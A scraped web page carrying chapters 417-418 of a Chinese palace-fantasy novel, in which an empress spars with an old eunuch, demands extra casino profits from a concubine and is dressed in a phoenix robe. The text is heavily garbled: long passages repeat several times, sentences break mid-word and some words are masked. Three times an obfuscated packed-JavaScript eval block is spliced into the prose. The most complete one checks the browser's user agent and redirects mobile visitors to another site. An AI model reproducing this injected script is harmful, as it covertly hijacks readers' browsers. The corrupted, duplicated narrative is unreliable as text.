“喝!” 慕容嫣深吸一口气,再次提枪而上下。 **在空中呼啸而过,划出一道银色的弧线,直刺无舌咽喉,速度快得惊人,仿若闪电划破夜空。 无舌见状,不慌不忙,身形急转,以一种不可思议的柔韧性侧身躲过这致命一击,同时右手探出,快如鬼魅,试图抓住慕容嫣的枪杆。 慕容嫣岂会让他得逞,手腕一抖,枪尖在无舌指尖前瞬间改变方向,向上挑起,直逼无舌下巴,动作行云流水,一气呵成。 无舌仰头躲避,脚下却不停,一个后空翻拉开距离,落地时双手在地上一拍,借力而起,双腿如剪刀般迅 猛开合,直夹慕容嫣颈部。 慕容嫣反应极快,她迅速下蹲,凤袍在身侧鼓起,如同一朵盛开的巨型花朵,五十米拖尾在地面盘绕成一团,仿若一条守护的神凰。 她双手**,从下往上用力一挑,枪杆正好抵住无舌双腿,化解了这一危机。 紧接着,无舌落地站稳,双手握拳,在身前快速旋转,形成一股强劲的旋风,带着周围的尘土沙石,呼啸着向慕容嫣卷去。 慕容嫣不畏惧,她将**立于身前,枪尖微微下垂,凤冠上的凤凰双翅展开,似在为她抵挡风沙。 她大喝一声,用力将**向前一推,光芒化作一道屏障,硬生生将无舌的旋风挡了回去。 慕容嫣趁势追击,**挥舞。 枪尖所到之处,光影闪烁,形成一片枪影,将无舌笼罩其中。 无舌在枪影中穿梭自如,他身形小巧灵活,利用慕容嫣凤袍拖尾受限的劣势,不时地贴近、偷袭。 慕容嫣虽受掣肘,但凭借着高超的枪法和敏锐的反应,一次次化险为夷。 然而,随着战斗的持续,慕容嫣体力渐渐不支,动作也开始变得迟缓。 她的凤袍拖尾因频繁的移动与抵挡,早已凌乱不堪,绣在上面的凤凰失去了往日的光彩,金线磨损,羽毛黯淡。 凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千钧一发之计,慕容无舌硬生生在她小腹前一寸的位置停住了。 随即身形迅速后撤,双膝跪地,磕头道。 “陛下,老奴该死。” 慕容嫣抬起头,看着无舌,苦笑一声,轻声道:“罢了,朕技不如你,改天再练。” 台下的林臻看到这一幕,整个人都傻了。 说着说着, 猛开合,直夹慕容嫣颈部。 慕容嫣反应极快,她迅速下蹲,凤袍在身侧鼓起,如同一朵盛开的巨型花朵,五十米拖尾在地面盘绕成一团,仿若一条守护的神凰。 她双手**,从下往上用力一挑,枪杆正好抵住无舌双腿,化解了这一危机。 紧接着,无舌落地站稳,双手握拳,在身前快速旋转,形成一股强劲的旋风,带着周围的尘土沙石,呼啸着向慕容嫣卷去。 慕容嫣不畏惧,她将**立于身前,枪尖微微下垂,凤冠上的凤凰双翅展开,似在为她抵挡风沙。 她大喝一声,用力将**向前一推,光芒化作一道屏障,硬生生将无舌的旋风挡了回去。 慕容嫣趁势追击,**挥舞。 枪尖所到之处,光影闪烁,形成一片枪影,将无舌笼罩其中。 无舌在枪影中穿梭自如,他身形小巧灵活,利用慕容嫣凤袍拖尾受限的劣势,不时地贴近、偷袭。 慕容嫣虽受掣肘,但凭借着高超的枪法和敏锐的反应,一次次化险为夷。 然而,随着战斗的持续,慕容嫣体力渐渐不支,动作也开始变得迟缓。 她的凤袍拖尾因频繁的移动与抵挡,早已凌乱不堪,绣在上面的凤凰失去了往日的光彩,金线磨损,羽毛黯淡。 凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千钧一发之计,慕容无舌硬生生在她小腹前一寸的位置停住了。 随即身形迅速后撤,双膝跪地,磕头道。 “陛下,老奴该死。” 慕容嫣抬起头,看着无舌,苦笑一声,轻声道:“罢了,朕技不如你,改天再练。” 台下的林臻看到这一幕,整个人都傻了。 说着说着, 猛开合,直夹慕容嫣颈部。 慕容嫣反应极快,她迅速下蹲,凤袍在身侧鼓起,如同一朵盛开的巨型花朵,五十米拖尾在地面盘绕成一团,仿若一条守护的神凰。 她双手**,从下往上用力一挑,枪杆正好抵住无舌双腿,化解了这一危机。 紧接着,无舌落地站稳,双手握拳,在身前快速旋转,形成一股强劲的旋风,带着周围的尘土沙石,呼啸着向慕容嫣卷去。 慕容嫣不畏惧,她将**立于身前,枪尖微微下垂,凤冠上的凤凰双翅展开,似在为她抵挡风沙。 她大喝一声,用力将**向前一推,光芒化作一道屏障,硬生生将无舌的旋风挡了回去。 慕容嫣趁势追击,**挥舞。 枪尖所到之处,光影闪烁,形成一片枪影,将无舌笼罩其中。 无舌在枪影中穿梭自如,他身形小巧灵活,利用慕容嫣凤袍拖尾受限的劣势,不时地贴近、偷袭。 慕容嫣虽受掣肘,但凭借着高超的枪法和敏锐的反应,一次次化险为夷。 然而,随着战斗的持续,慕容嫣体力渐渐不支,动作也开始变得迟缓。 她的凤袍拖尾因频繁的移动与抵挡,早已凌乱不堪,绣在上面的凤凰失去了往日的光彩,金线磨损,羽毛黯淡。 凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千钧一发之计,慕容无舌硬生生在她小腹前一寸的位置停住了。 随即身形迅速后撤,双膝跪地,磕头道。 “陛下,老奴该死。” 慕容嫣抬起头,看着无舌,苦笑一声,轻声道:“罢了,朕技不如你,改天再练。” 台下的林臻看到这一幕,整个人都傻了。 说着说着, 猛开合,直夹慕容嫣颈部。 慕容嫣反应极快,她迅速下蹲,凤袍在身侧鼓起,如同一朵盛开的巨型花朵,五十米拖尾在地面盘绕成一团,仿若一条守护的神凰。 她双手**,从下往上用力一挑,枪杆正好抵住无舌双腿,化解了这一危机。 紧接着,无舌落地站稳,双手握拳,在身前快速旋转,形成一股强劲的旋风,带着周围的尘土沙石,呼啸着向慕容嫣卷去。 慕容嫣不畏惧,她将**立于身前,枪尖微微下垂,凤冠上的凤凰双翅展开,似在为她抵挡风沙。 她大喝一声,用力将**向前一推,光芒化作一道屏障,硬生生将无舌的旋风挡了回去。 慕容嫣趁势追击,**挥舞。 枪尖所到之处,光影闪烁,形成一片枪影,将无舌笼罩其中。 无舌在枪影中穿梭自如,他身形小巧灵活,利用慕容嫣凤袍拖尾受限的劣势,不时地贴近、偷袭。 慕容嫣虽受掣肘,但凭借着高超的枪法和敏锐的反应,一次次化险为夷。 然而,随着战斗的持续,慕容嫣体力渐渐不支,动作也开始变得迟缓。 她的凤袍拖尾因频繁的移动与抵挡,早已凌乱不堪,绣在上面的凤凰失去了往日的光彩,金线磨损,羽毛黯淡。 凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千钧一发之计,慕容无舌硬生生在她小腹前一寸的位置停住了。 随即身形迅速后撤,双膝跪地,磕头道。 “陛下,老奴该死。” 慕容嫣抬起头,看着无舌,苦笑一声,轻声道:“罢了,朕技不如你,改天再练。” 台下的林臻看到这一幕,整个人都傻了。 说着说着, 猛开合,直夹慕容嫣颈部。 慕容嫣反应极快,她迅速下蹲,凤袍在身侧鼓起,如同一朵盛开的巨型花朵,五十米拖尾在地面盘绕成一团,仿若一条守护的神凰。 她双手**,从下往上用力一挑,枪杆正好抵住无舌双腿,化解了这一危机。 紧接着,无舌落地站稳,双手握拳,在身前快速旋转,形成一股强劲的旋风,带着周围的尘土沙石,呼啸着向慕容嫣卷去。 慕容嫣不畏惧,她将**立于身前,枪尖微微下垂,凤冠上的凤凰双翅展开,似在为她抵挡风沙。 她大喝一声,用力将**向前一推,光芒化作一道屏障,硬生生将无舌的旋风挡了回去。 慕容嫣趁势追击,**挥舞。 枪尖所到之处,光影闪烁,形成一片枪影,将无舌笼罩其中。 无舌在枪影中穿梭自如,他身形小巧灵活,利用慕容嫣凤袍拖尾受限的劣势,不时地贴近、偷袭。 慕容嫣虽受掣肘,但凭借着高超的枪法和敏锐的反应,一次次化险为夷。 然而,随着战斗的持续,慕容嫣体力渐渐不支,动作也开始变得迟缓。 她的凤袍拖尾因频繁的移动与抵挡,早已凌乱不堪,绣在上面的凤凰失去了往日的光彩,金线磨损,羽毛黯淡。 凤冠上的珍珠也掉落了大半,金丝有几处断裂,那只威风凛凛的凤凰此刻也显得有些萎靡不振。 无舌却依旧精神抖擞,他敏锐地察觉到慕容嫣的疲态,攻势愈发凌厉。 他瞅准一个时机,当慕容嫣**刺出后尚未收回之际,身形一闪,如鬼魅般贴近慕容嫣,双手握拳,直击她的腹部。 慕容嫣躲避不及,打算硬生生受这一拳。 谁知,就在这千钧一发之计,慕容无舌硬生生在她小腹前一寸的位置停住了。 随即身形迅速后撤,双膝跪地,磕头道。 “陛下,老奴该死。” 慕容嫣抬起头,看着无舌,苦笑一声,轻声道:“罢了,朕技不如你,改天再练。” 台下的林臻看到这一幕,整个人都傻了。 说着说着, 第417章 懂事的孩子 林臻急忙跑上戏台,扶住气喘吁吁的慕容嫣,关切地道:“嫣儿,你没事吧?” 慕容嫣摇摇头:“没事。” 与慕容无舌的气定神闲相比,慕容嫣此刻显得很是狼狈。 到底是练武几十年的人,绝非慕容嫣几天功力就可以比拟的。 但无舌同样非常震惊。 这么短的时间慕容嫣就能达到这样的武学高度,假以时日,那还得了? “陛下,老奴有句话不知当讲不当讲。” “讲。”慕容嫣已经把气喘匀,迈步走向戏台对面的凤椅。 慕容无舌和林臻都跟在她后面。 最后慕容嫣坐在凤椅上,晃了晃头上的凤冠,问道:“有什么就快说,别吞吞吐吐的。” 无舌站在一边,躬身说道:“陛下武功精进得太过迅速,这才不到两天的时间就能有如此实力,老奴实在担心陛下的身体,是否会因为练功太快而走火入魔。” “走火入魔?难道说这世间还真有走火入魔一说?”林臻眉毛一挑。 他问的,也正是慕容嫣好奇的。 无舌摇摇头,说道:“并未是堕入魔道,而是陛下的身体短时间内无法承受这么多的武学技巧,从而影响凤体。” “原来是这样。”慕容嫣点点头,她确实太心急了。 才练了两天就要和大乾第一高手过招。 慕容嫣摸了摸额头,发现居然有细密的汗珠。 好像自从噬心蛊改变身体之后,她已经很久都没有见过自己的汗珠了,一时间很是新奇。 她说道:“夫君,你先回去准备探索的事情吧,朕要回去沐浴,换身衣服。” 林臻见她也确实没什么问题,便点点头,转身离开。 然而慕容嫣却并没有去沐浴,而是就坐在这凤椅上,任由冷风吹过,她也不觉得寒冷。 噬心蛊好处多多,就比如身体的强劲程度,让慕容嫣已经不惧寒冷,甚至她居住的寝宫已经不需要那些烟熏火燎的火炉了。 她微微敞开点领口的凤袍,露出大片雪白,随即问向无舌:“张俪呢?” “张俪夫人在暖阁等着呢。” “叫她过来。” “是。”无舌去传令,很快张俪落落大方地款款而来,对坐在凤椅上的慕容嫣下拜:“妾身参见陛下。” “免礼,俪儿啊,来多久了?”慕容嫣话语很是亲切。 张俪刚刚抬眸。 这一眼,却仿若被一道璀璨光芒狠狠摄住了心神。 慕容嫣头上那顶凤冠,以纯金为底,细细的金丝密密缠绕,勾勒出凤凰展翅翱翔的灵动模样,每一根羽翎都仿若被注入了生命,栩栩如生,在日光下闪烁着耀眼金光,似能灼伤人的眼眸。 凤冠前沿,一排细碎的珍珠垂落,颗颗圆润饱满,散发着柔和的光晕,随着慕容嫣的动作轻轻晃动,恰似流淌的星河。 正中那颗红宝石,足有鸽蛋大小,殷红如血,宛如凤凰眉间的朱砂痣,将凤凰的尊贵与威严彰显得淋漓尽致。 再看那身凤袍,大红的锦缎之上,五彩丝线绣就得凤凰肆意飞舞。 袍身的凤凰皆是以金线打底,或引颈长鸣,声震九霄;或回首顾盼,仪态万方;或双翅舒展,扶摇直上。 它们的羽毛用了世间最艳丽的丝线,红的似火,燃烧着无尽的热情;绿的如翡,透着灵动的生机;蓝的像海,蕴藏着深邃的神秘。 每一针每一线,都倾注了绣娘毕生的心血,针脚细密得几乎寻不见痕迹,仿佛这些凤凰本就生于这锦缎之上,随时都会破袍而出。 凤袍的领口与袖口,镶着一圈雪白的狐**,既添了几分冬日的暖意,又衬出慕容嫣那如霜雪般的肌肤,高贵之气扑面而来。 而那拖地的五十米拖尾,更是令人惊叹不已。 拖尾以厚重的织锦制成,大红的底色上,金线勾勒出连绵不绝的祥云图案,凤凰于祥云中穿梭,时隐时现。 每一只凤凰都比袍身上的更为硕大,凤尾长长的拖在凤椅周围,仿若天边绚丽的晚霞。 拖尾边缘,镶嵌着一排拇指大小的夜明珠,散发着清冷的光辉,随着慕容嫣的走动,光芒闪烁,在地面上拖出一条如梦似幻的光影之路, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331167|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛她正漫步于银河之上。 往下瞧去,慕容嫣脚上那双凤凰鞋亦是精巧绝伦。 鞋面是柔软的红色绸缎,绣着一对小巧玲珑的凤凰,凤凰的眼睛用黑色的丝线绣成,仿若两颗灵动的黑珍珠,顾盼生辉。 鞋尖微微上翘,宛如凤凰轻扬的凤喙,俏皮又不失庄重。 鞋跟以檀木制成,雕刻着细密的花纹,既保证了行走的安稳,又增添了几分典雅的韵味。鞋面上还点缀着细碎的宝石,随着脚步的移动,光芒闪烁,恰似凤凰身上掉落的星辰。 如此奢华的装扮,让见惯大世面的张俪也不由的暗暗咋舌。 她说道:“妾身在陛下练武之前到的,因为夫君也在,觉得可能是在商量国家大事,所以没有来打扰。” “你是个懂事的,比家里那几个姐妹 强多了,过来坐吧。” 慕容嫣拍了拍她的凤椅。 张俪哪敢坐啊?连连摇头:“妾身不敢,妾身坐这个小凳子就可以。” 言罢张俪从一边拿来小凳子,规规矩矩的在慕容嫣面前坐下。 远处看去,一高一低,像一个小学生等待老师训话的样子。 慕容嫣笑道:“呵呵呵,你也知道,我们的夫君啊是个小孩脾气的人,朕让他给朕拿点钱花,他还挺不愿意。” 张俪不知道慕容嫣这话什么意思,但向来懂得洞察人心的她知道此刻不应该说话。 一个是夫君。 一个是皇帝。 都不是她能左右的人。 慕容嫣见张俪不说话,噗嗤一下笑了出来:“噗呵呵呵,不过让朕喜欢的是,夫君在大事上面从来不含糊,也不愧是朕的夫君。怎么样,你的赌场最近生意还好?” “回陛下,一切正常。” “嗯,那便好,从这个月开始,你多给朕拿二十万的分红,没问题吧?” 言罢慕容嫣紧紧盯着张俪的脸。 如果是月妩,肯定会说妾身遵命之类的话。 但张俪是大老板,见过很多世面,没有丝毫矫情,也不卑不亢,回答得很是巧妙。 第418章 这是朕给你的殊荣 “陛下是天下之主,又是家中主妇,家里的钱自然就是陛下的钱,陛下要多少,妾身自然按时送来。” 言罢张俪顺手拿起茶壶,用手试了试,觉得有些凉,便对慕容嫣说道:“陛下,这茶水凉了,妾身去给您换一壶。” 慕容嫣对张俪的懂事很开心。 这就对了。 要分得清谁才是林臻的正妻,谁才是林家真正的主人。 慕容嫣笑道:“这点小事哪用得着我们动手?麝月!还不快点换滚滚的茶来。” “是。” 麝月在旁边应了一声,端着个新的茶壶走进来,将凉的茶壶取走。 慕容嫣很欣喜,不仅仅是因为得到更多的分红,还有就是因为张俪对她十分忠心。 虽然这种忠心是建立在林臻的基础上。 但那又如何呢?对林臻忠心,就是对自己的忠心。 慕容嫣还是那副笑意:“呵呵呵,朕也知道家里花销也大,难处很多,但朕需要这笔钱,所以还需要你回去后和姐妹们解释清楚。” 张俪躬身道:“陛下言重了,家里的钱就是陛下的钱,您要多少,妾身直接派人给您送来就是,何须向她们解释?” 懂事。 比林臻那铁公鸡强多了。 当初开赌场的时候明明一个月赚几十万,却只愿意分给朕一万。 现在要点钱又抠抠搜搜的不愿意,那吝啬的劲儿都写脸上了。 慕容嫣亲切的抓住张俪的手,捏了捏,笑道:“还是俪儿最识大体。朕在宫里没有产业,想购置点东西就只能用家里的钱了,况且朕的小金库又被暴露在外面,群臣的打算就是朕花不完的钱可以发福利。唉,赚钱难,当皇帝更难。” “妾身理解陛下的苦衷。” “真好,走吧,陪朕去洗个澡。” “啊遵旨。” 张俪有些懵。 这咋一来就洗澡呢? 但慕容嫣说的话就是圣旨,她不敢违抗,只能起身跟随慕容嫣。 慕容嫣莲步轻移,身姿婀娜,缓缓起身,动作优雅的拉住张俪的手,二人一同款步去往盥洗室。 沐浴的细节就不多说了,主要也不让说。 盥洗室内,水汽氤氲,仿若一层薄纱轻柔地笼罩着每一寸空间,使得室内的一切都染上了几分朦胧而神秘的美感。 巨大的镜子矗立其间,镜面光洁如冰湖,倒映出慕容嫣那宛如艺术品般的身姿。 慕容嫣刚刚沐浴完毕,肌肤泛着温润的光泽 ,如羊脂玉般细腻,又似春日里刚刚绽放的花瓣,娇嫩欲滴。 她的身形修长而婀娜,每一处线条都流畅自然,仿佛是上天精心雕琢的杰作,散发着一种与生俱来的高贵与野性。 此刻,她就那样静静地伫立在镜前,双眸凝视着镜中的自己,眼中透着自信与傲然,仿若世间万物皆在她的掌控之中。 那目光中的坚毅让人不禁联想到翱翔于苍穹的凤凰,历经浴火却永不言败。 一旁,麝月早已恭敬地候着,她双手捧着一袭崭新制作的黑色凤袍,那凤袍宛如夜空中最浓稠的墨色,深邃得让人沉醉,又似蕴含着无尽的神秘力量,等待着主人去唤醒。 袍身之上,金线绣制的凤凰栩栩如生,每一片羽翼都仿佛被注入了生命的灵动。 它们或舒展欲飞,似要冲破云霄,去拥抱那无尽的蓝天;或微微敛翅,仿若在积蓄力量,随时准备给予敌人致命一击。 凤凰的双眸,以黑珍珠精心镶嵌而成,幽深得仿若无尽深渊,冷冽而威严,仿佛只需轻轻一瞥,便能穿透世间一切虚妄,直击人心。 领口与袖口,皆用金丝细细缠绕,编织成繁复华丽的花纹,那些花纹仿若古老的图腾,承载着历史的厚重与荣耀,诉说着王朝的兴衰更替,每一针每一线都凝聚着匠人的心血与智慧,彰显着皇家的尊贵与奢华。 再看那长达五十米的拖尾,层层叠叠,很是厚重,静静地蛰伏在地上,等待着腾飞的时刻。 拖尾之上,绣满了精致无比的云纹与火焰纹,云纹形态各异,轻柔飘逸,似在缓缓流动,给人以宁静祥和之感。 有的则似仙女翩翩起舞时脚下之轻云,灵动多变。 火焰纹则以特殊的赤色丝线绣成,这丝线采集了千种花卉的汁液,混入火山口的熔浆,再经数月锤炼而成,在光线下隐隐闪烁,仿若仍在燃烧的业火,炙烤着这片天地,散发着炽热而狂野的气息。 绣在拖尾边缘的金色凤凰,一只只首尾相连,绵延不绝,它们的形态或引颈长鸣,宣告着王者的归来;或展翅扑击,展现着无敌的霸气,时刻提醒着世人,这是属于王者的荣耀象征。 慕容嫣欣赏了片刻自身的胴体,随后,目光转向一旁的张俪,轻声说道:“帮朕穿衣服。” 张俪闻言,立刻应了一声,上前一步,双手小心翼翼地取过那黑色的凤袍。 她先是轻轻托起凤袍的上半身,缓缓地为慕容嫣套上,动作轻柔而娴熟,生怕一个不小心弄皱了这珍贵无比的衣物。 每一个细微的 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不用,你戴。能给朕戴凤冠,是朕给予你的殊荣。” “是。” 张俪双手捧着凤冠,微微踮起脚尖,将其轻轻戴在慕容嫣的头顶。 刹那间,慕容嫣整个人仿若被一层神圣的光环所笼罩,光芒四射,那股王者之气愈发浓烈,仿佛能让整个世界都为之臣服。 她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不用,你戴。能给朕戴凤冠,是朕给予你的殊荣。” “是。” 张俪双手捧着凤冠,微微踮起脚尖,将其轻轻戴在慕容嫣的头顶。 刹那间,慕容嫣整个人仿若被一层神圣的光环所笼罩,光芒四射,那股王者之气愈发浓烈,仿佛能让整个世界都为之臣服。 她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不用,你戴。能给朕戴凤冠,是朕给予你的殊荣。” “是。” 张俪双手捧着凤冠,微微踮起脚尖,将其轻轻戴在慕容嫣的头顶。 刹那间,慕容嫣整个人仿若被一层神圣的光环所笼罩,光芒四射,那股王者之气愈发浓烈,仿佛能让整个世界都为之臣服。 她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 凤冠的中心,镶嵌着一颗硕大无比的红宝石,红得夺目惊心,周边环绕着一圈圈细碎的宝石,如同星辰拱月,随着慕容嫣的动作轻轻晃动,折射出五彩华光,耀人眼目。 凤冠的两侧,垂下的珠帘以水晶与珍珠串就,水晶澄澈透明,珍珠圆润光滑,散发着温润的光泽,珠帘长短错落,行走间轻轻摇曳,既能恰到好处地遮挡住慕容嫣部分面容,增添几分神秘,又不妨碍她视物,尽显巧思。 “陛下,这凤冠太过贵重,妾身不敢僭越,还是您自己戴吧。” “不用,你戴。能给朕戴凤冠,是朕给予你的殊荣。” “是。” 张俪双手捧着凤冠,微微踮起脚尖,将其轻轻戴在慕容嫣的头顶。 刹那间,慕容嫣整个人仿若被一层神圣的光环所笼罩,光芒四射,那股王者之气愈发浓烈,仿佛能让整个世界都为之臣服。 她再次看向镜中的自己,凤冠、凤袍、拖尾完美地融为一体,她就是这天地间最尊贵、最霸气的存在,是即将主宰苍生的王者。 动作,都饱含着对慕容嫣的敬重与臣服。 接着,她又蹲下身子,将凤袍的下摆仔细整理平整,确保那华丽的图案完美展现。 随后,她站起身来,双手握住那长长的拖尾,眼神中满是惊叹与艳羡,轻轻地将拖尾展开。 拖尾在地上徐徐拖行,发出沙沙的细微声响,似在低语着皇权的至高无上。 待凤袍穿戴完毕,张俪又转身,从麝月手中接过托盘。 而托盘有一顶绝美的凤冠。 这凤冠堪称稀世珍宝,纯金打造的主体闪耀着璀璨夺目的光芒,仿若将太阳的光辉都汇聚于此。 凤冠之上,雕琢着形态各异的凤凰,有的振翅欲飞;有的栖于枝头。 